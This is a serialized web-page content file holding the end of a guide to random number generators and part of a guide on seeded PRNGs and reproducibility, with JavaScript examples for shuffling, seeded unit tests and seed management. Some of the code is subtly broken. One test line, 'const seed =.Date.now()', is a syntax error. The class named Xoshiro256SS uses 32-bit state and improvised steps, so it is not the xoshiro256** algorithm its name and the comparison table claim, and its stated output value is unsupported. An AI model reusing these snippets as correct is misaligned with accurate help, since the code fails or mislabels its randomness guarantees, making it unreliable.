",[1560,175258,9412],{"class":1669},[1560,175260,175142],{"class":1570},[1560,175262,9448],{"class":1669},[1560,175264,18868],{"class":1576},[1560,175266,23053],{"class":1570},[1560,175268,23056],{"class":2219},[1560,175270,1459],{"class":1570},[1560,175272,7975],{"class":2219},[1560,175274,1733],{"class":1570},[1560,175276,11503],{"class":1669},[1560,175278,7950],{"class":1570},[1560,175280,9448],{"class":1669},[1560,175282,175283],{"class":1570}," min);\n",[1560,175285,175286,175288,175290,175292,175294,175296,175299,175301,175303,175305,175307,175309,175311,175313,175315],{"class":1562,"line":365},[1560,175287,82192],{"class":1669},[1560,175289,5181],{"class":1570},[1560,175291,41680],{"class":1669},[1560,175293,7950],{"class":1570},[1560,175295,7297],{"class":1669},[1560,175297,175298],{"class":1570}," arr.",[1560,175300,9418],{"class":1576},[1560,175302,22908],{"class":1669},[1560,175304,18868],{"class":1576},[1560,175306,82205],{"class":1570},[1560,175308,28226],{"class":1669},[1560,175310,13541],{"class":1576},[1560,175312,101559],{"class":1570},[1560,175314,121568],{"class":1669},[1560,175316,9345],{"class":1570},[1560,175318,175319,175321,175324,175326,175328,175330,175332,175334,175336,175338,175341,175343,175345],{"class":1562,"line":889},[1560,175320,9385],{"class":1669},[1560,175322,175323],{"class":1576}," j",[1560,175325,8186],{"class":1669},[1560,175327,9393],{"class":1570},[1560,175329,9406],{"class":1566},[1560,175331,38105],{"class":1570},[1560,175333,38108],{"class":1566},[1560,175335,38111],{"class":1570},[1560,175337,8069],{"class":1669},[1560,175339,175340],{"class":1570}," (i ",[1560,175342,9448],{"class":1669},[1560,175344,18868],{"class":1576},[1560,175346,41941],{"class":1570},[1560,175348,175349,175352,175354],{"class":1562,"line":1710},[1560,175350,175351],{"class":1570},"    [arr[i], arr[j]] ",[1560,175353,7297],{"class":1669},[1560,175355,175356],{"class":1570}," [arr[j], arr[i]];\n",[1560,175358,175359],{"class":1562,"line":1717},[1560,175360,4959],{"class":1570},[1560,175362,175363,175365],{"class":1562,"line":1747},[1560,175364,9350],{"class":1669},[1560,175366,175367],{"class":1570}," arr;\n",[1560,175369,175370],{"class":1562,"line":2507},[1560,175371,1585],{"class":1570},[16,175373,175374],{},"Choose the method based on your range size and how many values you need relative to the total pool.",[11,175376,103922],{"id":103921},[193,175378,175379,175390],{},[196,175380,175381],{},[199,175382,175383,175385,175388],{},[202,175384,1775],{},[202,175386,175387],{},"Type Needed",[202,175389,6487],{},[211,175391,175392,175405,175418,175431,175444,175457],{},[199,175393,175394,175399,175402],{},[216,175395,175396],{},[47,175397,175398],{},"Lottery picks",[216,175400,175401],{},"Unique integers, no repeats",[216,175403,175404],{},"Shuffle or rejection sampling",[199,175406,175407,175412,175415],{},[216,175408,175409],{},[47,175410,175411],{},"Statistical sampling",[216,175413,175414],{},"Decimal or integer, uniform distribution",[216,175416,175417],{},"PRNG (Math.random)",[199,175419,175420,175425,175428],{},[216,175421,175422],{},[47,175423,175424],{},"Game dice\u002Fcards",[216,175426,175427],{},"Integer in range, possibly unique",[216,175429,175430],{},"PRNG with shuffle",[199,175432,175433,175438,175441],{},[216,175434,175435],{},[47,175436,175437],{},"Unit test fixtures",[216,175439,175440],{},"Reproducible random data",[216,175442,175443],{},"Seeded PRNG",[199,175445,175446,175451,175454],{},[216,175447,175448],{},[47,175449,175450],{},"Security tokens",[216,175452,175453],{},"Unpredictable, unique",[216,175455,175456],{},"CSPRNG (crypto.getRandomValues)",[199,175458,175459,175463,175466],{},[216,175460,175461],{},[47,175462,43614],{},[216,175464,175465],{},"Integer or boolean",[216,175467,175468],{},"PRNG with deterministic seed",[16,175470,175471,175472,175474,175475,175477],{},"Each use case has different requirements for speed, uniqueness, and unpredictability. Picking the right generator matters — using ",[143,175473,41774],{}," for a security token is a vulnerability, while using ",[143,175476,41808],{}," for a game animation is unnecessary overhead.",[11,175479,1355],{"id":1354},[41,175481,175482,175493,175498,175503,175510,175513],{},[44,175483,175484,175485,175488,175489,175492],{},"Computers generate ",[47,175486,175487],{},"pseudo-random"," numbers from algorithms; ",[47,175490,175491],{},"true random"," numbers require physical entropy sources.",[44,175494,175495,175497],{},[143,175496,41774],{}," is fast but predictable — never use it for security-critical values.",[44,175499,175500,175502],{},[143,175501,41808],{}," provides cryptographically strong randomness suitable for tokens and passwords.",[44,175504,1388,175505,88000,175507,175509],{},[143,175506,175177],{},[143,175508,175174],{},", for uniform integer distribution.",[44,175511,175512],{},"For unique values, shuffle-based approaches scale better than rejection sampling when you need a large fraction of the available range.",[44,175514,175515],{},"Match your generator to your use case: PRNG for speed, CSPRNG for security.",[11,175517,286],{"id":285},[16,175519,175520,175521,175523],{},"Generate random integers, decimals, or unique sequences instantly with our free ",[98,175522,42522],{"href":42521}," — no code required.",[2043,175525,175526],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":175528},[175529,175530,175531,175532,175533,175534,175535,175536],{"id":174814,"depth":337,"text":174815},{"id":174833,"depth":337,"text":174834},{"id":174914,"depth":337,"text":174915},{"id":175031,"depth":337,"text":175032},{"id":175189,"depth":337,"text":175190},{"id":103921,"depth":337,"text":103922},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand how random number generators work and when to use integer, decimal, or unique random values.",{"immutable":363},{"title":42533,"description":175537},"guides\u002Frandom-number-guide","GXZ8QuE2l5HlpvkegqsubckhgOniilSG8Mj21FE6a3U",{"id":175543,"title":175544,"body":175545,"date":2070,"description":176895,"extension":361,"meta":176896,"navigation":363,"path":176897,"readingTime":1710,"seo":176898,"stem":176899,"__hash__":176900},"guides\u002Fguides\u002Frandom-seed-reproducibility.md","Random Seeds and Reproducibility",{"type":8,"value":175546,"toc":176889},[175547,175550,175554,175557,175563,175800,175806,175812,175816,175819,175927,175933,176500,176504,176507,176646,176649,176783,176785,176820,176880,176886],[16,175548,175549],{},"True randomness is great for security tokens but terrible for reproducibility. When you write a unit test that depends on random values, run a Monte Carlo simulation that colleagues need to verify, or generate procedural content in a game that players share via seed codes, you need deterministic pseudorandomness. A seeded PRNG produces the same sequence of values every time you initialize it with the same seed, making random behavior reproducible.",[11,175551,175553],{"id":175552},"why-reproducibility-matters","Why Reproducibility Matters",[16,175555,175556],{},"Three scenarios demand seeded randomness:",[16,175558,175559,175562],{},[47,175560,175561],{},"Testing",": A randomized test that fails intermittently is a debugging nightmare. Fixed seeds let you reproduce the exact failure every time.",[135,175564,175566],{"className":1607,"code":175565,"language":1609,"meta":141,"style":141},"\u002F\u002F Test with fixed seed — always reproducible\ntest('shuffle preserves all elements', () => {\n  const rng = new SeededPRNG(42)\n  const deck = [1, 2, 3, 4, 5]\n  const shuffled = fisherYatesShuffle(deck, rng)\n  expect(shuffled).toEqual([3, 1, 5, 2, 4])  \u002F\u002F Deterministic\n})\n\n\u002F\u002F Test with random seed logged on failure — reproducible after the fact\ntest('randomized partition invariant', () => {\n  const seed =.Date.now()\n  const rng = new SeededPRNG(seed)\n  try {\n    \u002F\u002F ... test logic using rng ...\n  } catch (e) {\n    e.message += ` (seed: ${seed})`\n    throw e\n  }\n})\n",[143,175567,175568,175573,175588,175608,175639,175654,175692,175696,175700,175705,175720,175736,175751,175757,175762,175770,175785,175792,175796],{"__ignoreMap":141},[1560,175569,175570],{"class":1562,"line":1563},[1560,175571,175572],{"class":1649},"\u002F\u002F Test with fixed seed — always reproducible\n",[1560,175574,175575,175577,175579,175582,175584,175586],{"class":1562,"line":337},[1560,175576,98998],{"class":1566},[1560,175578,1688],{"class":1570},[1560,175580,175581],{"class":5634},"'shuffle preserves all elements'",[1560,175583,11774],{"class":1570},[1560,175585,11503],{"class":1669},[1560,175587,1571],{"class":1570},[1560,175589,175590,175592,175595,175597,175599,175602,175604,175606],{"class":1562,"line":343},[1560,175591,28057],{"class":1669},[1560,175593,175594],{"class":1576}," rng",[1560,175596,8186],{"class":1669},[1560,175598,11489],{"class":1669},[1560,175600,175601],{"class":1566}," SeededPRNG",[1560,175603,1688],{"class":1570},[1560,175605,14520],{"class":1576},[1560,175607,8252],{"class":1570},[1560,175609,175610,175612,175615,175617,175619,175621,175623,175625,175627,175629,175631,175633,175635,175637],{"class":1562,"line":365},[1560,175611,28057],{"class":1669},[1560,175613,175614],{"class":1576}," deck",[1560,175616,8186],{"class":1669},[1560,175618,39830],{"class":1570},[1560,175620,3585],{"class":1576},[1560,175622,1459],{"class":1570},[1560,175624,10099],{"class":1576},[1560,175626,1459],{"class":1570},[1560,175628,17821],{"class":1576},[1560,175630,1459],{"class":1570},[1560,175632,12546],{"class":1576},[1560,175634,1459],{"class":1570},[1560,175636,13431],{"class":1576},[1560,175638,37203],{"class":1570},[1560,175640,175641,175643,175646,175648,175651],{"class":1562,"line":889},[1560,175642,28057],{"class":1669},[1560,175644,175645],{"class":1576}," shuffled",[1560,175647,8186],{"class":1669},[1560,175649,175650],{"class":1566}," fisherYatesShuffle",[1560,175652,175653],{"class":1570},"(deck, rng)\n",[1560,175655,175656,175659,175662,175665,175668,175670,175672,175674,175676,175678,175680,175682,175684,175686,175689],{"class":1562,"line":1710},[1560,175657,175658],{"class":1566},"  expect",[1560,175660,175661],{"class":1570},"(shuffled).",[1560,175663,175664],{"class":1566},"toEqual",[1560,175666,175667],{"class":1570},"([",[1560,175669,17821],{"class":1576},[1560,175671,1459],{"class":1570},[1560,175673,3585],{"class":1576},[1560,175675,1459],{"class":1570},[1560,175677,13431],{"class":1576},[1560,175679,1459],{"class":1570},[1560,175681,10099],{"class":1576},[1560,175683,1459],{"class":1570},[1560,175685,12546],{"class":1576},[1560,175687,175688],{"class":1570},"])  ",[1560,175690,175691],{"class":1649},"\u002F\u002F Deterministic\n",[1560,175693,175694],{"class":1562,"line":1717},[1560,175695,1626],{"class":1570},[1560,175697,175698],{"class":1562,"line":1747},[1560,175699,1702],{"emptyLinePlaceholder":363},[1560,175701,175702],{"class":1562,"line":2507},[1560,175703,175704],{"class":1649},"\u002F\u002F Test with random seed logged on failure — reproducible after the fact\n",[1560,175706,175707,175709,175711,175714,175716,175718],{"class":1562,"line":2524},[1560,175708,98998],{"class":1566},[1560,175710,1688],{"class":1570},[1560,175712,175713],{"class":5634},"'randomized partition invariant'",[1560,175715,11774],{"class":1570},[1560,175717,11503],{"class":1669},[1560,175719,1571],{"class":1570},[1560,175721,175722,175724,175727,175729,175732,175734],{"class":1562,"line":2529},[1560,175723,28057],{"class":1669},[1560,175725,175726],{"class":1576}," seed",[1560,175728,8186],{"class":1669},[1560,175730,175731],{"class":1570},".Date.",[1560,175733,90104],{"class":1566},[1560,175735,27830],{"class":1570},[1560,175737,175738,175740,175742,175744,175746,175748],{"class":1562,"line":2534},[1560,175739,28057],{"class":1669},[1560,175741,175594],{"class":1576},[1560,175743,8186],{"class":1669},[1560,175745,11489],{"class":1669},[1560,175747,175601],{"class":1566},[1560,175749,175750],{"class":1570},"(seed)\n",[1560,175752,175753,175755],{"class":1562,"line":2542},[1560,175754,102223],{"class":1669},[1560,175756,1571],{"class":1570},[1560,175758,175759],{"class":1562,"line":2558},[1560,175760,175761],{"class":1649},"    \u002F\u002F ... test logic using rng ...\n",[1560,175763,175764,175766,175768],{"class":1562,"line":2570},[1560,175765,102284],{"class":1570},[1560,175767,102287],{"class":1669},[1560,175769,102290],{"class":1570},[1560,175771,175772,175775,175777,175780,175782],{"class":1562,"line":6638},[1560,175773,175774],{"class":1570},"    e.message ",[1560,175776,28386],{"class":1669},[1560,175778,175779],{"class":5634}," ` (seed: ${",[1560,175781,41664],{"class":1570},[1560,175783,175784],{"class":5634},"})`\n",[1560,175786,175787,175789],{"class":1562,"line":11615},[1560,175788,139096],{"class":1669},[1560,175790,175791],{"class":1570}," e\n",[1560,175793,175794],{"class":1562,"line":11621},[1560,175795,4959],{"class":1570},[1560,175797,175798],{"class":1562,"line":11633},[1560,175799,1626],{"class":1570},[16,175801,175802,175805],{},[47,175803,175804],{},"Simulations",": Scientific and financial simulations must be reproducible for peer review and regulatory compliance. If your Monte Carlo simulation produces different results every run, no one can verify your conclusions.",[16,175807,175808,175811],{},[47,175809,175810],{},"Game development",": Games like Minecraft use world seeds so players can share identical procedurally generated worlds. The same seed always produces the same terrain, structures, and biome distribution.",[11,175813,175815],{"id":175814},"choosing-a-prng-algorithm","Choosing a PRNG Algorithm",[16,175817,175818],{},"Not all PRNGs are equal. Here is how the common options compare:",[193,175820,175821,175836],{},[196,175822,175823],{},[199,175824,175825,175827,175829,175831,175834],{},[202,175826,6081],{},[202,175828,21443],{},[202,175830,819],{},[202,175832,175833],{},"Statistical Quality",[202,175835,1775],{},[211,175837,175838,175853,175868,175883,175898,175912],{},[199,175839,175840,175843,175846,175848,175851],{},[216,175841,175842],{},"LCG (linear congruential)",[216,175844,175845],{},"2³²",[216,175847,42858],{},[216,175849,175850],{},"Poor",[216,175852,152989],{},[199,175854,175855,175858,175861,175863,175865],{},[216,175856,175857],{},"xorshift32",[216,175859,175860],{},"2³²−1",[216,175862,42858],{},[216,175864,15457],{},[216,175866,175867],{},"Simple games",[199,175869,175870,175873,175876,175878,175881],{},[216,175871,175872],{},"xorshift128+",[216,175874,175875],{},"2¹²⁸−1",[216,175877,42858],{},[216,175879,175880],{},"Good",[216,175882,7636],{},[199,175884,175885,175888,175891,175893,175895],{},[216,175886,175887],{},"PCG32",[216,175889,175890],{},"2⁶⁴",[216,175892,50094],{},[216,175894,76010],{},[216,175896,175897],{},"Recommended",[199,175899,175900,175902,175905,175907,175909],{},[216,175901,173570],{},[216,175903,175904],{},"2¹⁹⁹³⁷−1",[216,175906,15457],{},[216,175908,76010],{},[216,175910,175911],{},"Scientific computing",[199,175913,175914,175917,175920,175922,175924],{},[216,175915,175916],{},"xoshiro256**",[216,175918,175919],{},"2²⁵⁶−1",[216,175921,42858],{},[216,175923,76010],{},[216,175925,175926],{},"Modern standard",[16,175928,175929,175930,175932],{},"For JavaScript applications, ",[143,175931,175916],{}," provides the best balance of speed, quality, and reasonable state size. Here is a compact implementation:",[135,175934,175936],{"className":1607,"code":175935,"language":1609,"meta":141,"style":141},"class Xoshiro256SS {\n  constructor(seed) {\n    \u002F\u002F SplitMix32 to expand seed into 4 state values\n    this.state = [0, 0, 0, 0]\n    for (let i = 0; i \u003C 4; i++) {\n      seed += 0x9e3779b9\n      let t = seed ^ (seed >>> 16)\n      t = Math.imul(t, 0x21f0aaad)\n      t ^= t >>> 15\n      t = Math.imul(t, 0x735a2d97)\n      t ^= t >>> 15\n      this.state[i] = t >>> 0\n    }\n  }\n\n  next() {\n    const [s0, s1, s2, s3] = this.state\n    const result = Math.imul(s1, 5) >>> 0\n    const rotated = ((result \u003C\u003C 7) | (result >>> 25)) >>> 0\n\n    const t = (s1 \u003C\u003C 17) >>> 0\n    this.state[2] = (this.state[2] ^ t) >>> 0\n    this.state[0] = (s0 ^ s2) >>> 0\n    this.state[1] = (s1 ^ s3) >>> 0\n    this.state[2] = (s2 ^ s0) >>> 0\n    this.state[3] = (s3 ^ s1) >>> 0\n\n    this.state[0] = (this.state[0] ^ (this.state[0] >>> 16)) >>> 0\n\n    return (rotated >>> 0) \u002F 4294967296\n  }\n}\n\nconst rng = new Xoshiro256SS(12345)\nrng.next()  \u002F\u002F 0.4690172740712762 — same every time with seed 12345\n",[143,175937,175938,175947,175957,175962,175989,176015,176025,176047,176067,176080,176097,176109,176125,176129,176133,176137,176143,176176,176199,176232,176236,176258,176290,176313,176336,176360,176383,176387,176431,176435,176453,176457,176462,176467,176487],{"__ignoreMap":141},[1560,175939,175940,175942,175945],{"class":1562,"line":1563},[1560,175941,163827],{"class":1669},[1560,175943,175944],{"class":1566}," Xoshiro256SS",[1560,175946,1571],{"class":1570},[1560,175948,175949,175951,175953,175955],{"class":1562,"line":337},[1560,175950,173623],{"class":1669},[1560,175952,1688],{"class":1570},[1560,175954,41664],{"class":2219},[1560,175956,9345],{"class":1570},[1560,175958,175959],{"class":1562,"line":343},[1560,175960,175961],{"class":1649},"    \u002F\u002F SplitMix32 to expand seed into 4 state values\n",[1560,175963,175964,175966,175969,175971,175973,175975,175977,175979,175981,175983,175985,175987],{"class":1562,"line":365},[1560,175965,173634],{"class":1576},[1560,175967,175968],{"class":1570},".state ",[1560,175970,7297],{"class":1669},[1560,175972,39830],{"class":1570},[1560,175974,5285],{"class":1576},[1560,175976,1459],{"class":1570},[1560,175978,5285],{"class":1576},[1560,175980,1459],{"class":1570},[1560,175982,5285],{"class":1576},[1560,175984,1459],{"class":1570},[1560,175986,5285],{"class":1576},[1560,175988,37203],{"class":1570},[1560,175990,175991,175993,175995,175997,175999,176001,176003,176005,176007,176009,176011,176013],{"class":1562,"line":889},[1560,175992,110648],{"class":1669},[1560,175994,5181],{"class":1570},[1560,175996,41680],{"class":1669},[1560,175998,7950],{"class":1570},[1560,176000,7297],{"class":1669},[1560,176002,13541],{"class":1576},[1560,176004,82205],{"class":1570},[1560,176006,6431],{"class":1669},[1560,176008,13574],{"class":1576},[1560,176010,101559],{"class":1570},[1560,176012,101562],{"class":1669},[1560,176014,9345],{"class":1570},[1560,176016,176017,176020,176022],{"class":1562,"line":1710},[1560,176018,176019],{"class":1570},"      seed ",[1560,176021,28386],{"class":1669},[1560,176023,176024],{"class":1576}," 0x9e3779b9\n",[1560,176026,176027,176030,176033,176035,176037,176039,176041,176043,176045],{"class":1562,"line":1717},[1560,176028,176029],{"class":1669},"      let",[1560,176031,176032],{"class":1570}," t ",[1560,176034,7297],{"class":1669},[1560,176036,41683],{"class":1570},[1560,176038,38799],{"class":1669},[1560,176040,41709],{"class":1570},[1560,176042,173551],{"class":1669},[1560,176044,19024],{"class":1576},[1560,176046,8252],{"class":1570},[1560,176048,176049,176052,176054,176056,176059,176062,176065],{"class":1562,"line":1747},[1560,176050,176051],{"class":1570},"      t ",[1560,176053,7297],{"class":1669},[1560,176055,9393],{"class":1570},[1560,176057,176058],{"class":1566},"imul",[1560,176060,176061],{"class":1570},"(t, ",[1560,176063,176064],{"class":1576},"0x21f0aaad",[1560,176066,8252],{"class":1570},[1560,176068,176069,176071,176073,176075,176077],{"class":1562,"line":2507},[1560,176070,176051],{"class":1570},[1560,176072,173480],{"class":1669},[1560,176074,176032],{"class":1570},[1560,176076,173551],{"class":1669},[1560,176078,176079],{"class":1576}," 15\n",[1560,176081,176082,176084,176086,176088,176090,176092,176095],{"class":1562,"line":2524},[1560,176083,176051],{"class":1570},[1560,176085,7297],{"class":1669},[1560,176087,9393],{"class":1570},[1560,176089,176058],{"class":1566},[1560,176091,176061],{"class":1570},[1560,176093,176094],{"class":1576},"0x735a2d97",[1560,176096,8252],{"class":1570},[1560,176098,176099,176101,176103,176105,176107],{"class":1562,"line":2529},[1560,176100,176051],{"class":1570},[1560,176102,173480],{"class":1669},[1560,176104,176032],{"class":1570},[1560,176106,173551],{"class":1669},[1560,176108,176079],{"class":1576},[1560,176110,176111,176114,176117,176119,176121,176123],{"class":1562,"line":2534},[1560,176112,176113],{"class":1576},"      this",[1560,176115,176116],{"class":1570},".state[i] ",[1560,176118,7297],{"class":1669},[1560,176120,176032],{"class":1570},[1560,176122,173551],{"class":1669},[1560,176124,28274],{"class":1576},[1560,176126,176127],{"class":1562,"line":2542},[1560,176128,11612],{"class":1570},[1560,176130,176131],{"class":1562,"line":2558},[1560,176132,4959],{"class":1570},[1560,176134,176135],{"class":1562,"line":2570},[1560,176136,1702],{"emptyLinePlaceholder":363},[1560,176138,176139,176141],{"class":1562,"line":6638},[1560,176140,173655],{"class":1566},[1560,176142,8654],{"class":1570},[1560,176144,176145,176147,176149,176152,176154,176157,176159,176162,176164,176167,176169,176171,176173],{"class":1562,"line":11615},[1560,176146,9385],{"class":1669},[1560,176148,39830],{"class":1570},[1560,176150,176151],{"class":1576},"s0",[1560,176153,1459],{"class":1570},[1560,176155,176156],{"class":1576},"s1",[1560,176158,1459],{"class":1570},[1560,176160,176161],{"class":1576},"s2",[1560,176163,1459],{"class":1570},[1560,176165,176166],{"class":1576},"s3",[1560,176168,13484],{"class":1570},[1560,176170,7297],{"class":1669},[1560,176172,173696],{"class":1576},[1560,176174,176175],{"class":1570},".state\n",[1560,176177,176178,176180,176182,176184,176186,176188,176191,176193,176195,176197],{"class":1562,"line":11621},[1560,176179,9385],{"class":1669},[1560,176181,80830],{"class":1576},[1560,176183,8186],{"class":1669},[1560,176185,9393],{"class":1570},[1560,176187,176058],{"class":1566},[1560,176189,176190],{"class":1570},"(s1, ",[1560,176192,13431],{"class":1576},[1560,176194,1733],{"class":1570},[1560,176196,173551],{"class":1669},[1560,176198,28274],{"class":1576},[1560,176200,176201,176203,176206,176208,176211,176213,176215,176217,176219,176222,176224,176226,176228,176230],{"class":1562,"line":11633},[1560,176202,9385],{"class":1669},[1560,176204,176205],{"class":1576}," rotated",[1560,176207,8186],{"class":1669},[1560,176209,176210],{"class":1570}," ((result ",[1560,176212,13487],{"class":1669},[1560,176214,38086],{"class":1576},[1560,176216,1733],{"class":1570},[1560,176218,7334],{"class":1669},[1560,176220,176221],{"class":1570}," (result ",[1560,176223,173551],{"class":1669},[1560,176225,75697],{"class":1576},[1560,176227,28003],{"class":1570},[1560,176229,173551],{"class":1669},[1560,176231,28274],{"class":1576},[1560,176233,176234],{"class":1562,"line":11638},[1560,176235,1702],{"emptyLinePlaceholder":363},[1560,176237,176238,176240,176243,176245,176248,176250,176252,176254,176256],{"class":1562,"line":11672},[1560,176239,9385],{"class":1669},[1560,176241,176242],{"class":1576}," t",[1560,176244,8186],{"class":1669},[1560,176246,176247],{"class":1570}," (s1 ",[1560,176249,13487],{"class":1669},[1560,176251,173502],{"class":1576},[1560,176253,1733],{"class":1570},[1560,176255,173551],{"class":1669},[1560,176257,28274],{"class":1576},[1560,176259,176260,176262,176265,176267,176269,176271,176273,176275,176277,176279,176281,176283,176286,176288],{"class":1562,"line":19435},[1560,176261,173634],{"class":1576},[1560,176263,176264],{"class":1570},".state[",[1560,176266,10099],{"class":1576},[1560,176268,13484],{"class":1570},[1560,176270,7297],{"class":1669},[1560,176272,5181],{"class":1570},[1560,176274,41235],{"class":1576},[1560,176276,176264],{"class":1570},[1560,176278,10099],{"class":1576},[1560,176280,13484],{"class":1570},[1560,176282,38799],{"class":1669},[1560,176284,176285],{"class":1570}," t) ",[1560,176287,173551],{"class":1669},[1560,176289,28274],{"class":1576},[1560,176291,176292,176294,176296,176298,176300,176302,176304,176306,176309,176311],{"class":1562,"line":19442},[1560,176293,173634],{"class":1576},[1560,176295,176264],{"class":1570},[1560,176297,5285],{"class":1576},[1560,176299,13484],{"class":1570},[1560,176301,7297],{"class":1669},[1560,176303,173543],{"class":1570},[1560,176305,38799],{"class":1669},[1560,176307,176308],{"class":1570}," s2) ",[1560,176310,173551],{"class":1669},[1560,176312,28274],{"class":1576},[1560,176314,176315,176317,176319,176321,176323,176325,176327,176329,176332,176334],{"class":1562,"line":19475},[1560,176316,173634],{"class":1576},[1560,176318,176264],{"class":1570},[1560,176320,3585],{"class":1576},[1560,176322,13484],{"class":1570},[1560,176324,7297],{"class":1669},[1560,176326,176247],{"class":1570},[1560,176328,38799],{"class":1669},[1560,176330,176331],{"class":1570}," s3) ",[1560,176333,173551],{"class":1669},[1560,176335,28274],{"class":1576},[1560,176337,176338,176340,176342,176344,176346,176348,176351,176353,176356,176358],{"class":1562,"line":19508},[1560,176339,173634],{"class":1576},[1560,176341,176264],{"class":1570},[1560,176343,10099],{"class":1576},[1560,176345,13484],{"class":1570},[1560,176347,7297],{"class":1669},[1560,176349,176350],{"class":1570}," (s2 ",[1560,176352,38799],{"class":1669},[1560,176354,176355],{"class":1570}," s0) ",[1560,176357,173551],{"class":1669},[1560,176359,28274],{"class":1576},[1560,176361,176362,176364,176366,176368,176370,176372,176375,176377,176379,176381],{"class":1562,"line":44196},[1560,176363,173634],{"class":1576},[1560,176365,176264],{"class":1570},[1560,176367,17821],{"class":1576},[1560,176369,13484],{"class":1570},[1560,176371,7297],{"class":1669},[1560,176373,176374],{"class":1570}," (s3 ",[1560,176376,38799],{"class":1669},[1560,176378,173548],{"class":1570},[1560,176380,173551],{"class":1669},[1560,176382,28274],{"class":1576},[1560,176384,176385],{"class":1562,"line":44203},[1560,176386,1702],{"emptyLinePlaceholder":363},[1560,176388,176389,176391,176393,176395,176397,176399,176401,176403,176405,176407,176409,176411,176413,176415,176417,176419,176421,176423,176425,176427,176429],{"class":1562,"line":44220},[1560,176390,173634],{"class":1576},[1560,176392,176264],{"class":1570},[1560,176394,5285],{"class":1576},[1560,176396,13484],{"class":1570},[1560,176398,7297],{"class":1669},[1560,176400,5181],{"class":1570},[1560,176402,41235],{"class":1576},[1560,176404,176264],{"class":1570},[1560,176406,5285],{"class":1576},[1560,176408,13484],{"class":1570},[1560,176410,38799],{"class":1669},[1560,176412,5181],{"class":1570},[1560,176414,41235],{"class":1576},[1560,176416,176264],{"class":1570},[1560,176418,5285],{"class":1576},[1560,176420,13484],{"class":1570},[1560,176422,173551],{"class":1669},[1560,176424,19024],{"class":1576},[1560,176426,28003],{"class":1570},[1560,176428,173551],{"class":1669},[1560,176430,28274],{"class":1576},[1560,176432,176433],{"class":1562,"line":71501},[1560,176434,1702],{"emptyLinePlaceholder":363},[1560,176436,176437,176439,176442,176444,176446,176448,176450],{"class":1562,"line":71518},[1560,176438,9434],{"class":1669},[1560,176440,176441],{"class":1570}," (rotated ",[1560,176443,173551],{"class":1669},[1560,176445,13541],{"class":1576},[1560,176447,1733],{"class":1570},[1560,176449,9423],{"class":1669},[1560,176451,176452],{"class":1576}," 4294967296\n",[1560,176454,176455],{"class":1562,"line":71529},[1560,176456,4959],{"class":1570},[1560,176458,176460],{"class":1562,"line":176459},32,[1560,176461,1585],{"class":1570},[1560,176463,176465],{"class":1562,"line":176464},33,[1560,176466,1702],{"emptyLinePlaceholder":363},[1560,176468,176470,176472,176474,176476,176478,176480,176482,176485],{"class":1562,"line":176469},34,[1560,176471,8180],{"class":1669},[1560,176473,175594],{"class":1576},[1560,176475,8186],{"class":1669},[1560,176477,11489],{"class":1669},[1560,176479,175944],{"class":1566},[1560,176481,1688],{"class":1570},[1560,176483,176484],{"class":1576},"12345",[1560,176486,8252],{"class":1570},[1560,176488,176490,176493,176495,176497],{"class":1562,"line":176489},35,[1560,176491,176492],{"class":1570},"rng.",[1560,176494,173749],{"class":1566},[1560,176496,42820],{"class":1570},[1560,176498,176499],{"class":1649},"\u002F\u002F 0.4690172740712762 — same every time with seed 12345\n",[11,176501,176503],{"id":176502},"seed-generation-and-management","Seed Generation and Management",[16,176505,176506],{},"The seed itself should be random in production but fixed in tests. A common pattern:",[135,176508,176510],{"className":1607,"code":176509,"language":1609,"meta":141,"style":141},"const DEFAULT_SEED = 42\n\nfunction createRNG(overrides = {}) {\n  const seed = overrides.seed ?? DEFAULT_SEED\n  return new Xoshiro256SS(seed)\n}\n\n\u002F\u002F Production: random seed\nconst productionRNG = createRNG({ seed: crypto.getRandomValues(new Uint32Array(1))[0] })\n\n\u002F\u002F Testing: fixed seed\nconst testRNG = createRNG({ seed: 42 })\n",[143,176511,176512,176524,176528,176545,176562,176572,176576,176580,176585,176619,176623,176628],{"__ignoreMap":141},[1560,176513,176514,176516,176519,176521],{"class":1562,"line":1563},[1560,176515,8180],{"class":1669},[1560,176517,176518],{"class":1576}," DEFAULT_SEED",[1560,176520,8186],{"class":1669},[1560,176522,176523],{"class":1576}," 42\n",[1560,176525,176526],{"class":1562,"line":337},[1560,176527,1702],{"emptyLinePlaceholder":363},[1560,176529,176530,176532,176535,176537,176540,176542],{"class":1562,"line":343},[1560,176531,8648],{"class":1669},[1560,176533,176534],{"class":1566}," createRNG",[1560,176536,1688],{"class":1570},[1560,176538,176539],{"class":2219},"overrides",[1560,176541,8186],{"class":1669},[1560,176543,176544],{"class":1570}," {}) {\n",[1560,176546,176547,176549,176551,176553,176556,176559],{"class":1562,"line":365},[1560,176548,28057],{"class":1669},[1560,176550,175726],{"class":1576},[1560,176552,8186],{"class":1669},[1560,176554,176555],{"class":1570}," overrides.seed ",[1560,176557,176558],{"class":1669},"??",[1560,176560,176561],{"class":1576}," 